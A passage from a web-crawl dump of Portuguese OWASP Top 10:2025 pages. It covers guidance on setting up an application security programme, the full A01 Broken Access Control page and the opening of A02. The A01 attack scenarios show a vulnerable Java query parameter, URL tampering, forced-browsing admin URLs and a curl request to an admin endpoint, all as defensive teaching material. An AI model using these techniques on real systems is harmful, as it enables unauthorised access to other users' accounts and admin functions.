muitas ideias e opções.\n\nSe você está começando um programa do zero, ou se considera o OWASP SAMM ou o DSOMM \"demais\" para o seu time no momento, revise os conselhos a seguir.\n\n### 1. Estabeleça uma Abordagem de Portfólio Baseada em Risco:\n\n- Identifique as necessidades de proteção do seu portfólio de aplicações sob uma perspectiva de negócio. Isso deve ser impulsionado, em parte, por leis de privacidade e outras regulamentações relevantes para o ativo de dados que está sendo protegido.\n- Estabeleça um [modelo comum de classificação de risco](https://owasp.org/www-community/OWASP_Risk_Rating_Methodology) com um conjunto consistente de fatores de probabilidade e impacto que reflitam a tolerância ao risco da sua organização.\n- Meça e priorize todas as suas aplicações e APIs adequadamente. Adicione os resultados ao seu [Configuration Management Database (CMDB)](https://de.wikipedia.org/wiki/Configuration_Management_Database) .\n- Estabeleça diretrizes de garantia para definir adequadamente a cobertura e o nível de rigor exigido.\n\n### 2. Viabilize com uma Fundação Forte:\n\n- Estabeleça um conjunto de políticas e padrões focados que forneçam uma linha de base ( *baseline* ) de segurança de aplicações para todas as equipes de desenvolvimento seguirem.\n- Defina um conjunto comum de controles de segurança reutilizáveis que complementem essas políticas e padrões, fornecendo orientações de design e desenvolvimento sobre seu uso.\n- Estabeleça um currículo de treinamento em segurança de aplicações que seja obrigatório e direcionado a diferentes funções e tópicos de desenvolvimento.\n\n### 3. Integre a Segurança aos Processos Existentes:\n\n- Defina e integre atividades de implementação e verificação segura aos processos operacionais e de desenvolvimento existentes.\n- As atividades incluem modelagem de ameaças ( *threat modeling* ), design seguro e revisão de design, codificação segura e revisão de código, testes de intrusão ( *penetration testing* ) e remediação.\n- Forneça especialistas no assunto ( *SMEs* ) e serviços de suporte para que as equipes de desenvolvimento e de projeto tenham sucesso.\n- Revise seu ciclo de vida de desenvolvimento de sistemas ( *SDLC* ) atual e todas as atividades, ferramentas, políticas e processos de segurança de software e, em seguida, documente-os.\n- Para novos softwares, adicione uma ou mais atividades de segurança a cada fase do *SDLC* . Abaixo, oferecemos sugestões do que pode ser feito. Garanta que essas novas atividades sejam realizadas em cada novo projeto ou iniciativa de software; dessa forma, você saberá que cada novo pedaço de software será entregue com uma postura de segurança aceitável para sua organização.\n- Selecione suas atividades para garantir que seu produto final atenda a um nível de risco aceitável para sua organização.\n- Para softwares existentes (às vezes chamados de legado), você desejará ter um plano de manutenção formal; procure ideias de como manter aplicações seguras na seção chamada 'Operações e Gerenciamento de Mudanças'.\n\n### 4. Educação em Segurança de Aplicações:\n\n- Considere iniciar um programa de *security champions* ou um programa de educação geral em segurança para seus desenvolvedores (às vezes chamado de programa de *advocacy* ou conscientização de segurança) para ensiná-los tudo o que você gostaria que eles soubessem. Isso os manterá atualizados, ajudará a saber como realizar seu trabalho de forma segura e tornará a cultura de segurança onde você trabalha mais positiva. Frequentemente, isso também melhora a confiança entre as equipes e cria uma relação de trabalho mais feliz. A OWASP apoia você nisso com o [OWASP Security Champions Guide](https://securitychampions.owasp.org/) , que está sendo expandido passo a passo.\n- O Projeto de Educação da OWASP fornece materiais de treinamento para ajudar a educar desenvolvedores em segurança de aplicações web. Para aprendizado prático sobre vulnerabilidades, experimente o [OWASP Juice Shop Project](https://owasp.org/www-project-juice-shop/) ou o [OWASP WebGoat](https://owasp.org/www-project-webgoat/) . Para manter-se atualizado, participe de uma [Conferência OWASP AppSec](https://owasp.org/events/) , treinamentos em conferências ou reuniões de um [Chapter OWASP](https://owasp.org/chapters/) local.\n\n### 5. Forneça Visibilidade para a Gestão:\n\n- Gerencie com métricas. Direcione melhorias e decisões de financiamento com base em métricas e dados de análise capturados. As métricas incluem a adesão a práticas e atividades de segurança, vulnerabilidades introduzidas, vulnerabilidades mitigadas, cobertura de aplicações, densidade de defeitos por tipo e contagem de instâncias, etc.\n- Analise dados das atividades de implementação e verificação para procurar a causa raiz e padrões de vulnerabilidade, visando impulsionar melhorias estratégicas e sistêmicas em toda a empresa. Aprenda com os erros e ofereça incentivos positivos para promover melhorias.\n\n---\n\n## Estabeleça e Use Processos de Segurança Repetíveis e Controles de Segurança Padrão\n\n### Fase de Requisitos e Gerenciamento de Recursos:\n\n- Colete e negocie os requisitos de negócio para uma aplicação com a área de negócios, incluindo os requisitos de proteção em relação à confidencialidade, autenticidade, integridade e disponibilidade de todos os ativos de dados, além da lógica de negócio esperada.\n- Compile os requisitos técnicos, incluindo requisitos de segurança funcionais e não funcionais. A OWASP recomenda o uso do [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) como guia para definir os requisitos de segurança de sua(s) aplicação(ões).\n- Planeje e negocie o orçamento que cubra todos os aspectos de design, construção, testes e operação, incluindo atividades de segurança.\n- Adicione atividades de segurança ao cronograma do seu projeto.\n- Apresente-se como o representante de segurança no *kick-off* do projeto, para que saibam com quem falar.\n\n### Solicitação de Propostas (RFP) e Contratação:\n\n- Negocie os requisitos com desenvolvedores internos ou externos, incluindo diretrizes e requisitos de segurança em relação ao seu programa de segurança, por exemplo: *SDLC* , melhores práticas.\n- Avalie o cumprimento de todos os requisitos técnicos, incluindo uma fase de planejamento e design.\n- Negocie todos os requisitos técnicos, incluindo design, segurança e acordos de nível de serviço ( *SLA* ).\n- Adote modelos e checklists, como o [OWASP Secure Software Contract Annex](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex) . **Nota:** *O anexo é baseado na lei de contratos dos EUA, portanto, consulte assessoria jurídica qualificada antes de usar o modelo.*\n\n### Fase de Planejamento e Design:\n\n- Negocie o planejamento e o design com os desenvolvedores e partes interessadas internas, como especialistas em segurança.\n- Defina a arquitetura de segurança, controles, contramedidas e revisões de design apropriadas às necessidades de proteção e ao nível de ameaça esperado. Isso deve ser apoiado por especialistas em segurança.\n- Em vez de adaptar a segurança em suas aplicações e APIs posteriormente, é muito mais econômico projetar a segurança desde o início. A OWASP recomenda os [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) e os [OWASP Proactive Controls](https://top10proactive.owasp.org/) como um bom ponto de partida para orientações sobre como projetar a segurança incluída desde o princípio.\n- Realize modelagem de ameaças ( *threat modeling* ); veja [OWASP Cheat Sheet: Threat Modeling](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html) .\n- Ensine conceitos e padrões de design seguro aos seus arquitetos de software e peça que os adicionem aos seus projetos sempre que possível.\n- Examine os fluxos de dados com seus desenvolvedores.\n- Adicione *user stories* de segurança ao lado de todas as suas outras *user stories* .\n\n### Ciclo de Vida de Desenvolvimento Seguro:\n\n- Para melhorar o processo que sua organização segue ao construir aplicações e APIs, a OWASP recomenda o [OWASP Software Assurance Maturity Model (SAMM)](https://owasp.org/www-project-samm/) . Este modelo ajuda as organizações a formular e implementar uma estratégia para segurança de software adaptada aos riscos específicos enfrentados pela organização.\n- Forneça treinamento de codificação segura para seus desenvolvedores de software e qualquer outro treinamento que você considere útil para criar aplicações mais robustas e seguras.\n- Revisão de código; veja [OWASP Cheat Sheet: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html) .\n- Dê ferramentas de segurança aos seus desenvolvedores e ensine-os a usá-las, especialmente scanners de análise estática ( *SAST* ), análise de composição de software ( *SCA* ), segredos ( *secrets* ) e [Infraestrutura como Código (IaC)](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html) .\n- Crie *guardrails* para seus desenvolvedores, se possível (salvaguardas técnicas para direcioná-los a escolhas mais seguras).\n- Construir controles de segurança fortes e utilizáveis é difícil. Ofereça padrões seguros ( *secure defaults* ) sempre que possível e crie \" *paved roads* \" (tornar o caminho mais fácil também o caminho mais seguro para fazer algo, a escolha preferencial óbvia) sempre que possível. Os [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) são um bom ponto de partida para desenvolvedores, e muitos frameworks modernos já vêm com controles de segurança padrão e eficazes para autorização, validação, prevenção de CSRF, etc.\n- Forneça plugins de *IDE* relacionados à segurança para seus desenvolvedores e incentive seu uso.\n- Forneça uma ferramenta de gerenciamento de segredos ( *secret management* ), licenças e documentação sobre como usá-la.\n- Forneça uma IA privada para uso, idealmente configurada com um servidor RAG repleto de documentação de segurança útil, *prompts* que sua equipe escreveu para melhores resultados e um servidor MCP que chame as ferramentas de segurança escolhidas por sua organização. Ensine-os a usar a IA de forma segura, porque eles vão usá-la de qualquer maneira.\n\n### Estabeleça Testes Contínuos de Segurança de Aplicações:\n\n- Teste as funções técnicas e a integração com a arquitetura de TI e coordene os testes de negócio.\n- Crie casos de teste de \"uso\" e \"abuso\" sob perspectivas técnicas e de negócio.\n- Gerencie os testes de segurança de acordo com os processos internos, as necessidades de proteção e o nível de ameaça assumido pela aplicação.\n- Forneça ferramentas de teste de segurança ( *fuzzers* , *DAST* , etc.), um local seguro para testar e treinamento sobre como usá-las, OU realize os testes por eles OU contrate um testador.\n- Se você exigir um alto nível de garantia, considere um teste de intrusão formal, bem como testes de estresse e testes de desempenho.\n- Trabalhe com seus desenvolvedores para ajudá-los a decidir o que precisam corrigir nos relatórios de bugs e garanta que seus gestores deem tempo para que isso seja feito.\n\n### Implantação (*Rollout*):\n\n- Coloque a aplicação em operação e migre de aplicações usadas anteriormente, se necessário.\n- Finalize toda a documentação, incluindo o banco de dados de gerenciamento de mudanças (CMDB) e a arquitetura de segurança.\n\n### Operações e Gerenciamento de Mudanças:\n\n- As operações devem incluir diretrizes para a gestão de segurança da aplicação (ex: gestão de patches).\n- Aumente a conscientização de segurança dos usuários e gerencie conflitos entre usabilidade vs. segurança.\n- Planeje e gerencie mudanças, ex: migrar para novas versões da aplicação ou outros componentes como SO, *middleware* e bibliotecas.\n- Garanta que todas as aplicações estejam em seu inventário, com todos os detalhes importantes documentados. Atualize toda a documentação, incluindo no CMDB e na arquitetura de segurança, controles e contramedidas, incluindo quaisquer *runbooks* ou documentação de projeto.\n- Execute registro de logs, monitoramento e alertas para todas as aplicações. Adicione se estiver faltando.\n- Crie processos para atualizações e correções ( *patching* ) eficazes e eficientes.\n- Crie cronogramas de varredura regular (idealmente dinâmica, estática, segredos, IaC e análise de composição de software).\n- *SLAs* para correção de bugs de segurança.\n- Forneça uma maneira para funcionários (e idealmente também seus clientes) reportarem bugs.\n- Estabeleça uma equipe treinada de resposta a incidentes que entenda como são os ataques de software e utilize ferramentas de observabilidade.\n- Execute ferramentas de bloqueio ou blindagem para deter ataques automatizados.\n- Endurecimento ( *hardening* ) anual (ou mais frequente) de configurações.\n- Teste de intrusão pelo menos anual (dependendo do nível de garantia exigido para sua aplicação).\n- Estabeleça processos e ferramentas para o endurecimento e proteção de sua cadeia de suprimentos de software.\n- Estabeleça e atualize o planejamento de continuidade de negócios e recuperação de desastres que inclua suas aplicações mais importantes e as ferramentas usadas para mantê-las.\n\n### Desativação de Sistemas:\n\n- Quaisquer dados exigidos devem ser arquivados. Todos os outros dados devem ser apagados de forma segura.\n- Desative a aplicação com segurança, incluindo a exclusão de contas, funções e permissões não utilizadas.\n- Defina o estado de sua aplicação como \"desativada\" no CMDB.\n\n---\n\n## Usando o OWASP Top 10 como um Padrão\n\nO OWASP Top 10 é prioritariamente um documento de conscientização. No entanto, isso não impediu as organizações de usá-lo como um padrão *de facto* de AppSec da indústria desde sua criação em 2003. Se você deseja usar o OWASP Top 10 como um padrão de codificação ou teste, saiba que ele é o mínimo indispensável e apenas um ponto de partida.\n\nUma das dificuldades de usar o OWASP Top 10 como padrão é que documentamos riscos de AppSec, e não necessariamente problemas facilmente testáveis. Por exemplo, [A06:2025-Design Inseguro](../A06_2025-Insecure_Design/) está além do escopo da maioria das formas de teste. Outro exemplo é testar se o registro de logs e o monitoramento eficazes estão implementados e em uso, o que só pode ser feito com entrevistas e solicitando uma amostragem de respostas a incidentes eficazes. Uma ferramenta de análise de código estática pode procurar pela ausência de logs, mas pode ser impossível determinar se a lógica de negócio ou o controle de acesso está registrando violações de segurança críticas. Testadores de intrusão podem apenas ser capazes de determinar que invocaram a resposta a incidentes em um ambiente de teste, o qual raramente é monitorado da mesma forma que a produção.\n\nAqui estão nossas recomendações para quando é apropriado usar o OWASP Top 10:\n\n| Caso de Uso | OWASP Top 10 2025 | OWASP Application Security Verification Standard |\n| --- | --- | --- |\n| Conscientização | Sim | |\n| Treinamento | Nível de entrada | Abrangente |\n| Design e arquitetura | Ocasionalmente | Sim |\n| Padrão de codificação | Mínimo indispensável | Sim |\n| Revisão de Código Seguro | Mínimo indispensável | Sim |\n| Checklist de revisão por pares | Mínimo indispensável | Sim |\n| Teste de unidade | Ocasionalmente | Sim |\n| Teste de integração | Ocasionalmente | Sim |\n| Teste de intrusão | Mínimo indispensável | Sim |\n| Suporte de ferramentas | Mínimo indispensável | Sim |\n| Cadeia de Suprimentos Segura | Ocasionalmente | Sim |\n\nEncorajamos qualquer pessoa que queira adotar um padrão de segurança de aplicações a usar o [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) (ASVS), pois ele foi projetado para ser verificável e testável, podendo ser usado em todas as partes de um ciclo de vida de desenvolvimento seguro.\n\nO ASVS é a única escolha aceitável para fornecedores de ferramentas. Ferramentas não podem detectar, testar ou proteger de forma abrangente contra o OWASP Top 10 devido à natureza de vários dos riscos presentes, com referência ao [A06:2025-Design Inseguro](../A06_2025-Insecure_Design/). A OWASP desestimula quaisquer alegações de cobertura total do OWASP Top 10, porque isso é simplesmente falso.", "znaku_textu": 17225, "slov": 2488, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:03", "sha256": "eccff795a76e46951a96223903a26d10208d74429d321449c57900dfef2c6a0d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://de.wikipedia.org/wiki/Configuration_Management_Database", "https://securitychampions.owasp.org/", "https://cheatsheetseries.owasp.org/index.html", "https://top10proactive.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/A01_2025-Broken_Access_Control/", "titulek": "A01 Controle de Acesso Quebrado - OWASP Top 10:2025", "h1": "A01:2025 – Controle de Acesso Quebrado (Broken Access Control)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/A01_2025-Broken_Access_Control/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2025 – Controle de Acesso Quebrado (Broken Access Control)"}, {"uroven": 2, "text": "Contexto"}, {"uroven": 2, "text": "Tabela de Pontuação"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 2, "text": "Referências"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A01:2025 – Controle de Acesso Quebrado (Broken Access Control)\n\n## Contexto\n\nMantendo sua posição nº 1 no Top 10, foi constatado que 100% das aplicações testadas apresentavam alguma forma de controle de acesso quebrado. As CWEs notáveis incluídas são *CWE-200: Exposure of Sensitive Information to an Unauthorized Actor*, *CWE-201: Exposure of Sensitive Information Through Sent Data*, *CWE-918 Server-Side Request Forgery (SSRF)* e *CWE-352: Cross-Site Request Forgery (CSRF)*. Esta categoria possui o maior número de ocorrências nos dados contribuídos e o segundo maior número de CVEs relacionadas.\n\n## Tabela de Pontuação\n\n| CWEs Mapeadas | Taxa Máx. de Incidência | Taxa Média de Incidência | Cobertura Máxima | Cobertura Média | Exploit Médio Ponderado | Impacto Médio Ponderado | Total de Ocorrências | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 20.15% | 3.74% | 100.00% | 42.93% | 7.04 | 3.84 | 1,839,701 | 32,654 |\n\n## Descrição\n\nO controle de acesso aplica políticas para que os usuários não possam agir fora de suas permissões pretendidas. As falhas normalmente levam à divulgação não autorizada de informações, modificação ou destruição de todos os dados, ou à execução de uma função de negócio fora dos limites do usuário. Vulnerabilidades comuns de controle de acesso incluem:\n\n- Violação do princípio do menor privilégio (least privilege), comumente conhecido como \"negar por padrão\" (deny by default), onde o acesso deveria ser concedido apenas para capacidades, papéis ou usuários específicos, mas está disponível para qualquer pessoa.\n- **Bypass** de verificações de controle de acesso ao modificar a URL (manipulação de parâmetros ou navegação forçada), o estado interno da aplicação ou a página HTML, ou ao utilizar uma ferramenta de ataque que modifica requisições de **API** .\n- Permitir a visualização ou edição da conta de outra pessoa ao fornecer seu identificador exclusivo ( **IDOR** – *Insecure Direct Object References* ).\n- Uma **API** acessível com falta de controles de acesso para POST, PUT e DELETE.\n- Elevação de privilégio. Agir como um usuário sem estar logado ou obter privilégios além dos esperados para o usuário logado (ex: acesso de administrador).\n- Manipulação de **metadados** , como o reuso ( *replaying* ) ou adulteração de um **token** de controle de acesso **JWT** ( *JSON Web Token* ), um **cookie** ou campo oculto manipulado para elevar privilégios, ou abuso da invalidação de **JWT** .\n- Configuração incorreta de **CORS** que permite acesso à **API** a partir de origens não autorizadas ou não confiáveis.\n- Navegação forçada ( *force browsing* ou adivinhação de URLs) para páginas autenticadas como um usuário não autenticado ou para páginas privilegiadas como um usuário comum.\n\n## Como Prevenir\n\nO controle de acesso só é eficaz quando implementado em código confiável no lado do servidor ou em **APIs** *serverless*, onde o **atacante** não pode modificar a verificação de controle de acesso ou os **metadados**.\n\n- Exceto para recursos públicos, negue por padrão ( *deny by default* ).\n- Implemente mecanismos de controle de acesso uma única vez e reutilize-os em toda a aplicação, incluindo a minimização do uso de *Cross-Origin Resource Sharing* ( **CORS** ).\n- Os modelos de controle de acesso devem reforçar a propriedade do registro, em vez de permitir que os usuários criem, leiam, atualizem ou excluam qualquer registro.\n- Requisitos exclusivos de limites de negócio da aplicação devem ser impostos por modelos de domínio.\n- Desative a listagem de diretórios do servidor web e garanta que **metadados** de arquivos (ex: `.git` ) e arquivos de backup não estejam presentes nas raízes web ( *web roots* ).\n- Registre ( **log** ) falhas de controle de acesso e alerte os administradores quando apropriado (ex: falhas repetidas).\n- Implemente limites de taxa ( *rate limits* ) no acesso a **APIs** e controladores para minimizar o dano causado por ferramentas de ataque automatizadas.\n- Identificadores de sessão com estado ( *stateful* ) devem ser invalidados no servidor após o logout. **Tokens JWT** sem estado ( *stateless* ) devem ter vida curta para minimizar a janela de oportunidade para um **atacante** . Para **JWTs** de longa duração, considere o uso de *refresh tokens* e siga os padrões OAuth para revogar o acesso.\n- Utilize conjuntos de ferramentas ( *toolkits* ) ou padrões bem estabelecidos que forneçam controles de acesso simples e declarativos.\n\nDesenvolvedores e equipes de QA devem incluir testes funcionais de controle de acesso em seus testes unitários e de integração.\n\n## Exemplos de Cenários de Ataque\n\n**Cenário #1:** A aplicação utiliza dados não verificados em uma chamada SQL que acessa informações da conta:\n\n```\npstmt.setString(1, request.getParameter(\"acct\"));\nResultSet results = pstmt.executeQuery( );\n```\n\nUm **atacante** pode simplesmente modificar o parâmetro 'acct' no navegador para enviar qualquer número de conta desejado. Se não for corretamente verificado, o **atacante** pode acessar a conta de qualquer usuário.\n\n```\nhttps://example.com/app/accountInfo?acct=notmyacct\n```\n\n**Cenário #2:** Um **atacante** simplesmente força a navegação para URLs alvo. Direitos de administrador são necessários para acessar a página administrativa.\n\n```\nhttps://example.com/app/getappInfo\nhttps://example.com/app/admin_getappInfo\n```\n\nSe um usuário não autenticado conseguir acessar qualquer uma das páginas, trata-se de uma falha. Se um não-administrador conseguir acessar a página de administração, isso também é uma falha.\n\n**Cenário #3:** Uma aplicação coloca todo o seu controle de acesso no front-end. Embora o **atacante** não consiga chegar a `[https://example.com/app/admin_getappInfo](https://example.com/app/admin_getappInfo)` devido ao código JavaScript executado no navegador, ele pode simplesmente executar:\n\n```\n$ curl https://example.com/app/admin_getappInfo\n```\n\na partir da linha de comando.\n\n## Referências\n\n- [OWASP Proactive Controls: C1: Implement Access Control](https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/)\n- [OWASP Application Security Verification Standard: V8 Authorization](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md)\n- [OWASP Testing Guide: Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [PortSwigger: Exploiting CORS misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)\n- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-23 Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html)\n- [CWE-36 Absolute Path Traversal](https://cwe.mitre.org/data/definitions/36.html)\n- [CWE-59 Improper Link Resolution Before File Access ('Link Following')](https://cwe.mitre.org/data/definitions/59.html)\n- [CWE-61 UNIX Symbolic Link (Symlink) Following](https://cwe.mitre.org/data/definitions/61.html)\n- [CWE-65 Windows Hard Link](https://cwe.mitre.org/data/definitions/65.html)\n- [CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-201 Exposure of Sensitive Information Through Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-219 Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html)\n- [CWE-276 Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html)\n- [CWE-281 Improper Preservation of Permissions](https://cwe.mitre.org/data/definitions/281.html)\n- [CWE-282 Improper Ownership Management](https://cwe.mitre.org/data/definitions/282.html)\n- [CWE-283 Unverified Ownership](https://cwe.mitre.org/data/definitions/283.html)\n- [CWE-284 Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285 Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-352 Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n- [CWE-359 Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)\n- [CWE-377 Insecure Temporary File](https://cwe.mitre.org/data/definitions/377.html)\n- [CWE-379 Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n- [CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')](https://cwe.mitre.org/data/definitions/402.html)\n- [CWE-424 Improper Protection of Alternate Path](https://cwe.mitre.org/data/definitions/424.html)\n- [CWE-425 Direct Request ('Forced Browsing')](https://cwe.mitre.org/data/definitions/425.html)\n- [CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')](https://cwe.mitre.org/data/definitions/441.html)\n- [CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere](https://cwe.mitre.org/data/definitions/497.html)\n- [CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory](https://cwe.mitre.org/data/definitions/538.html)\n- [CWE-540 Inclusion of Sensitive Information in Source Code](https://cwe.mitre.org/data/definitions/540.html)\n- [CWE-548 Exposure of Information Through Directory Listing](https://cwe.mitre.org/data/definitions/548.html)\n- [CWE-552 Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html)\n- [CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key](https://cwe.mitre.org/data/definitions/566.html)\n- [CWE-601 URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)\n- [CWE-615 Inclusion of Sensitive Information in Source Code Comments](https://cwe.mitre.org/data/definitions/615.html)\n- [CWE-639 Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)\n- [CWE-668 Exposure of Resource to Wrong Sphere](https://cwe.mitre.org/data/definitions/668.html)\n- [CWE-732 Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n- [CWE-749 Exposed Dangerous Method or Function](https://cwe.mitre.org/data/definitions/749.html)\n- [CWE-862 Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-863 Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html)\n- [CWE-918 Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [CWE-922 Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html)\n- [CWE-1275 Sensitive Cookie with Improper SameSite Attribute](https://cwe.mitre.org/data/definitions/1275.html)", "znaku_textu": 10667, "slov": 1222, "odkazu": 81, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:04", "sha256": "8188e2223c52fc16b6c2efa0b6f648a70ea8bf82d2fe30eb2fb8cb589f01665b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties", "https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/36.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/61.html", "https://cwe.mitre.org/data/definitions/65.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/281.html", "https://cwe.mitre.org/data/definitions/282.html", "https://cwe.mitre.org/data/definitions/283.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/379.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/424.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/615.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/732.html", "https://cwe.mitre.org/data/definitions/749.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/918.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/A02_2025-Security_Misconfiguration/", "titulek": "A02 Configuração Insegura - OWASP Top 10:2025", "h1": "A02:2025 – Configuração Insegura (Security Misconfiguration)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/A02_2025-Security_Misconfiguration/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2025 – Configuração Insegura (Security Misconfiguration)"}, {"uroven": 2, "text": "Contexto"}, {"uroven": 2, "text": "Tabela de Pontuação"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 2, "text": "Referências"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A02:2025 – Configuração Insegura (Security Misconfiguration)\n\n## Contexto\n\nSubindo da 5ª posição na edição anterior, foi constatado que 100% das aplicações testadas apresentavam alguma forma de configuração incorreta, com uma taxa média de incidência de 3,00% e mais de 719 mil ocorrências de CWEs (*Common Weakness Enumeration*) nesta categoria de risco. Com a migração crescente para softwares altamente configuráveis, não é surpresa ver esta categoria subir no ranking. As CWEs notáveis incluídas são *CWE-16 Configuration* e *CWE-611 Improper Restriction of XML External Entity Reference (XXE)*.\n\n## Tabela de Pontuação\n\n| CWEs Mapeadas | Taxa Máx. de Incidência | Taxa Média de Incidência | Cobertura Máxima | Cobertura Média | Exploit Médio Ponderado | Impacto Médio Ponderado | Total de Ocorrências | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 27.70% | 3.00% | 100.00% | 52.35% | 7.96 | 3.97 | 719,084 | 1,375 |\n\n## Descrição\n\nA configuração insegura 